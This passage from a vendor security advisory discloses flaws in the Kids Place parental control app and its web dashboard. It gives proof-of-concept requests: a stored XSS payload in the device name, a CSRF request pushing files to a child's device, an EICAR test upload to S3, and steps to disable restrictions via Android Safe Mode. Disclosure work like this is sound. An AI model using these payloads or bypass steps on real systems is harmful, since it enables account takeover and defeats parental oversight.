Business recommendation:  
------------------------  
The vendor provides an update for the affected version(s) which  
should be installed immediately.

An in-depth security analysis performed by security professionals is  
highly advised, to identify and resolve potential further critical security  
issues.

The issues identified in this application were part of our blog post  
"The hidden costs of parental control apps" published a few months ago:  
https://r.sec-consult.com/parents

Vulnerability overview/description:  
-----------------------------------  
1) Login and registration returns password as MD5 hash  
Login and registration requests return the unsalted MD5 hash  
of the password. This indicates that the passwords are stored  
in an insecure format at the server. Furthermore, MD5 hashing  
should not be used anymore in modern applications.

2) Stored XSS via device name in parent Dashboard (CVE-2023-29079)  
The customizable name of the child's device can be used to  
trigger a XSS payload in the parent web dashboard. Children  
might be able to attack their parents' account.

3) Possible CSRF attacks in parent Dashboard (CVE-2023-29078)  
All requests in the web dashboard are vulnerable to CSRF attacks.  
The requests contain the device Id of the child device which must  
be known to the attacker in order to successfully attack a child.  
But the device Id is not considered a secret, as it is used in  
the URL in some requests. An attacker could have obtained the Id  
through the browser history.

4) Arbitrary File Upload to AWS S3 bucket  
The web dashboard lets parents send files to the child's device.  
The selected file is uploaded to an AWS S3 bucket and the returned  
URL will be transmitted to the device which will then download it.  
It is possible to send arbitrary files to the child's device and  
thereby upload arbitrary files (size restriction ~10MB) to the  
AWS S3 bucket. The returned link is publicly available, so it is  
possible to use the server to spread malware.

5) Disable Child App Restriction without Parent's notice (CVE-2023-28153)  
The child can remove all restrictions temporarily without the parents noticing.

Proof of concept:  
-----------------  
1) Login and registration returns password as MD5 hash  
The "Change password" request looks as follows:  
--------------------------------------------------------------------------------  
POST /account/change_password/ HTTP/1.1  
Host: kidsplace.kiddoware.com  
Cookie: [...]  
[...]

old_password=c869123c&new_password=password&confirm_password=password  
--------------------------------------------------------------------------------

The response from the web server contains the hashed, unsalted password:  
--------------------------------------------------------------------------------  
{  
  "error":null,  
  "result":  
    {  
      "email":"xxxxx@example.com",  
      "hashed_password":"5f4dcc3b5aa765d61d8327deb882cf99",  
      "message":"Password successfully changed!"  
    },  
  "status":200  
}  
--------------------------------------------------------------------------------

Proving this is an unsalted MD5 hash:

$ echo -n "password" | md5sum -t  
5f4dcc3b5aa765d61d8327deb882cf99  -

2) Stored XSS via device name in parent Dashboard (CVE-2023-29079)  
The device name can be changed by the child's account by sending a POST request  
to the API with the pushDeviceConfig method. The following payload can be used as  
a PoC to trigger an alert box on every page the device name is visible in the  
parent dashboard. Children/attackers would be able to take over their parents'  
accounts via this attack.

--------------------------------------------------------------------------------  
POST /v2/api/ HTTP/1.1  
Host: kidsplace.kiddoware.com  
Content-Type: application/json; charset=utf-8  
Content-Length: 461  
Accept-Encoding: gzip, deflate  
User-Agent: okhttp/3.12.8  
Connection: close

{  
     "method":"pushDeviceConfig",  
     "id":null,  
     "params":["a28fd8c5-2dcd-11ed-8a7f-0217330f2cf9",  
     {  
         "isGPSEnabled":false,"deviceGCMRegID":"",  
         "deviceUserAgeRange":3,  
         "deviceName":"\"><img src=x onerror=\"alert(1)\"/>",  
         [...]  
     }  
}  
--------------------------------------------------------------------------------

3) Possible CSRF attacks in parent Dashboard (CVE-2023-29078)  
As an example, an attacker can abuse the CSRF vulnerability to download an  
arbitrary file to a child's device. It is simply needed to create a form which  
automatically submits on page load. If a parent is logged in the web dashboard  
and visits this malicious site, the authenticated request will be sent and the  
file specified in the URL parameter will be downloaded by the child's device.

--------------------------------------------------------------------------------  
POST /account/push_content/ HTTP/1.1  
Host: kidsplace.kiddoware.com  
Cookie: [...]  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Origin: https://kidsplace.kiddoware.com  
Content-Length: 75  
Connection: close

url=https%3A%2F%2Fgoogle.de%2Findex.html&message=&deviceID=XXXXXXX  
--------------------------------------------------------------------------------

4) Arbitrary File Upload to AWS S3 bucket  
The web dashboard lets parents upload arbitrary files to the Kiddoware AWS S3 bucket  
and push it to the child device.  
--------------------------------------------------------------------------------  
POST /account/push_content_file/ HTTP/1.1  
Host: kidsplace.kiddoware.com  
Cookie: [...]  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Content-Type: multipart/form-data; boundary=---------------------------27687116714103572458683268551  
Origin: https://kidsplace.kiddoware.com  
Content-Length: 296  
[...]

-----------------------------27687116714103572458683268551  
Content-Disposition: form-data; name="push_file"; filename="eicar.com.txt"  
Content-Type: text/plain

<eicar-file>  
-----------------------------27687116714103572458683268551--  
--------------------------------------------------------------------------------

The upload of the eicar file worked without errors and could subsequently also be  
downloaded  via the returned link. So there is no antivirus scan on the uploaded files.

5) Disable Child App Restriction without Parent's notice (CVE-2023-28153)  
The child can disable the restrictions of the application without the parents noticing.  
For this, the following steps are necessary:  
a) If Android settings are blocked, reboot into Android Safe Mode.  
b) Disable "Display over other apps" Permission for the app in Android settings.  
c) After rebooting into normal mode, the child device can be used without restrictions.

For example, previously locked apps can now be used. To notice the problem, the parent  
has to check the parent's dashboard manually, a notification is not sent. If the child  
turns the permission back on in the meantime, the bypass will go unnoticed.

Vulnerable / tested versions:  
-----------------------------  
The following version has been tested and downloaded through Google Play store, which was  
the most recent version available at the time of the test:  
* 3.8.45

Later on, version 3.8.49 (2022-10-25) has been verified to be vulnerable as well.
